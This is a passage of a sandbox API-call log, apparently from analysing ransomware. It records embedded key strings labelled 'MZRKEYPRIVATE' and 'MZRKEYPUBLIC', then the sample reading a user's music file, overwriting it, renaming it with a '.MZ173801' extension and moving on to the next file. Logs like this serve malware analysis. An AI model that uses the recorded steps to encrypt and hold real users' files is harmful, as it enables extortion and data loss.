lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24f61dc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.817] GetCurrentThreadId () returned 0xab4 [0158.817] GetCurrentThreadId () returned 0xab4 [0158.817] GetCurrentThreadId () returned 0xab4 [0158.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x250723c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.818] GetCurrentThreadId () returned 0xab4 [0158.818] GetCurrentThreadId () returned 0xab4 [0158.818] GetCurrentThreadId () returned 0xab4 [0158.818] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\5kfHm.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\5kfhm.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.818] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0158.818] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.818] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x15335 [0158.818] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.818] ReadFile (in: hFile=0x27c, lpBuffer=0x250f040, nNumberOfBytesToRead=0x15335, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x250f040*, lpNumberOfBytesRead=0x19f1b4*=0x15335, lpOverlapped=0x0) returned 1 [0158.820] CloseHandle (hObject=0x27c) returned 1 [0158.821] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\5kfHm.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\5kfhm.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.822] WriteFile (in: hFile=0x27c, lpBuffer=0x2525070*, nNumberOfBytesToWrite=0x15335, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x2525070*, lpNumberOfBytesWritten=0x19f1c0*=0x15335, lpOverlapped=0x0) returned 1 [0158.824] CloseHandle (hObject=0x27c) returned 1 [0158.838] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\5kfHm.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\5kfhm.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\5kfHm.m4a.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\5kfhm.m4a.mz173801")) returned 1 [0158.839] GetCurrentThreadId () returned 0xab4 [0158.839] GetCurrentThreadId () returned 0xab4 [0158.839] GetCurrentThreadId () returned 0xab4 [0158.839] GetCurrentThreadId () returned 0xab4 [0158.839] GetCurrentThreadId () returned 0xab4 [0158.839] GetCurrentThreadId () returned 0xab4 [0158.839] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17ec0cd0, ftCreationTime.dwHighDateTime=0x1d5e38c, ftLastAccessTime.dwLowDateTime=0xbc00d760, ftLastAccessTime.dwHighDateTime=0x1d5ebd9, ftLastWriteTime.dwLowDateTime=0xbc00d760, ftLastWriteTime.dwHighDateTime=0x1d5ebd9, nFileSizeHigh=0x0, nFileSizeLow=0x11d59, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="k07tTnZjrtR20ZMVLMQ.m4a", cAlternateFileName="K07TTN~1.M4A")) returned 1 [0158.839] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.839] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.839] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\k07tTnZjrtR20ZMVLMQ.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\k07ttnzjrtr20zmvlmq.m4a"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17ec0cd0, ftCreationTime.dwHighDateTime=0x1d5e38c, ftLastAccessTime.dwLowDateTime=0xbc00d760, ftLastAccessTime.dwHighDateTime=0x1d5ebd9, ftLastWriteTime.dwLowDateTime=0xbc00d760, ftLastWriteTime.dwHighDateTime=0x1d5ebd9, nFileSizeHigh=0x0, nFileSizeLow=0x11d59)) returned 1 [0158.839] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\k07tTnZjrtR20ZMVLMQ.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\k07ttnzjrtr20zmvlmq.m4a")) returned 0x20 [0158.839] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\k07tTnZjrtR20ZMVLMQ.m4a", dwFileAttributes=0x80) returned 1 [0158.841] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, 